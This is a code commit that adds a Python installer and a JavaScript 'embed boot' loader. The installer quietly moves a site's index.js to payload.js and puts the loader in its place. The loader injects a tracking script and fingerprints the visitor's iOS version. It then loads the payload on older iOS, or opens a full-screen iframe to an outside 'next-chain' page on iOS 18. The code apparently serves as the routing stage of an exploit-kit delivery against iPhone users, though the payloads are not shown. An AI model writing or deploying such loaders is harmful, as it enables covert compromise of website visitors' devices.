feat: old channel
This commit is contained in:
@@ -0,0 +1,43 @@
|
||||
"""Install the shared script-embed boot as published index.js."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
BOOT_MARKER = "/* coruna-embed-boot */"
|
||||
BOOT_TEMPLATE = Path(__file__).with_name("index.boot.js")
|
||||
PAYLOAD_NAME = "payload.js"
|
||||
INDEX_NAME = "index.js"
|
||||
|
||||
|
||||
def apply_embed_boot(
|
||||
dest_dir: Path,
|
||||
*,
|
||||
channel_code: str,
|
||||
ds_domain: str = "",
|
||||
) -> Path:
|
||||
dest_dir = Path(dest_dir)
|
||||
if not dest_dir.is_dir():
|
||||
raise SystemExit(f"embed boot: missing directory {dest_dir}")
|
||||
if not BOOT_TEMPLATE.is_file():
|
||||
raise SystemExit(f"embed boot: missing template {BOOT_TEMPLATE}")
|
||||
|
||||
index_path = dest_dir / INDEX_NAME
|
||||
payload_path = dest_dir / PAYLOAD_NAME
|
||||
if index_path.is_file():
|
||||
current = index_path.read_text(encoding="utf-8")
|
||||
if BOOT_MARKER not in current and not payload_path.is_file():
|
||||
index_path.replace(payload_path)
|
||||
elif BOOT_MARKER in current and not payload_path.is_file():
|
||||
raise SystemExit(f"embed boot: {index_path} is boot but {payload_path} is missing")
|
||||
if not payload_path.is_file():
|
||||
raise SystemExit(f"embed boot: missing payload {payload_path}")
|
||||
|
||||
boot = BOOT_TEMPLATE.read_text(encoding="utf-8")
|
||||
boot = boot.replace("__CHANNEL_CODE__", channel_code)
|
||||
boot = boot.replace("__DS_DOMAIN__", (ds_domain or "").rstrip("/"))
|
||||
boot = boot.replace("__STAT_ORIGIN__", "")
|
||||
if BOOT_MARKER not in boot:
|
||||
boot = BOOT_MARKER + "\n" + boot
|
||||
index_path.write_text(boot, encoding="utf-8")
|
||||
return index_path
|
||||
@@ -0,0 +1,81 @@
|
||||
/* coruna-embed-boot */
|
||||
(function () {
|
||||
var CHANNEL = '__CHANNEL_CODE__';
|
||||
var DS_DOMAIN = '__DS_DOMAIN__';
|
||||
var STAT_ORIGIN = '__STAT_ORIGIN__';
|
||||
|
||||
if (CHANNEL && CHANNEL.indexOf('__') !== 0) {
|
||||
window.__CORUNA_CHANNEL__ = CHANNEL;
|
||||
}
|
||||
if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) {
|
||||
window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, '');
|
||||
} else {
|
||||
window.__CORUNA_STAT_ORIGIN__ = '';
|
||||
}
|
||||
|
||||
function scriptDir() {
|
||||
try {
|
||||
if (document.currentScript && document.currentScript.src) {
|
||||
return document.currentScript.src.replace(/\/[^\/]*$/, '/');
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var scripts = document.getElementsByTagName('script');
|
||||
for (var i = scripts.length - 1; i >= 0; i--) {
|
||||
var src = scripts[i].src || '';
|
||||
if (/\/index\.js(?:[?#]|$)/i.test(src)) {
|
||||
return src.replace(/\/index\.js(?:[?#].*)?$/i, '/');
|
||||
}
|
||||
}
|
||||
} catch (e1) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function inject(src) {
|
||||
var s = document.createElement('script');
|
||||
s.src = src;
|
||||
(document.body || document.documentElement || document.head).appendChild(s);
|
||||
}
|
||||
|
||||
var dir = scriptDir();
|
||||
var statOrigin = window.__CORUNA_STAT_ORIGIN__ || '';
|
||||
inject((statOrigin || location.origin) + '/t.js?' + Date.now());
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
if (!ios || ios[0] < 18) {
|
||||
inject((dir || '') + 'payload.js?' + Date.now());
|
||||
return;
|
||||
}
|
||||
if (ios[0] === 18) {
|
||||
var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : '';
|
||||
if (!channelCode) {
|
||||
try {
|
||||
var path = String(location.pathname || '');
|
||||
var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i);
|
||||
var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (mWeb && mWeb[1]) channelCode = mWeb[1];
|
||||
else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase();
|
||||
} catch (eC) {}
|
||||
}
|
||||
var dsUrl = DS_DOMAIN + '/next-chain/frame.html';
|
||||
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
||||
var ifr = document.createElement('iframe');
|
||||
ifr.src = dsUrl;
|
||||
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
||||
(document.body || document.documentElement).appendChild(ifr);
|
||||
}
|
||||
})();
|
||||
Reference in New Issue
Block a user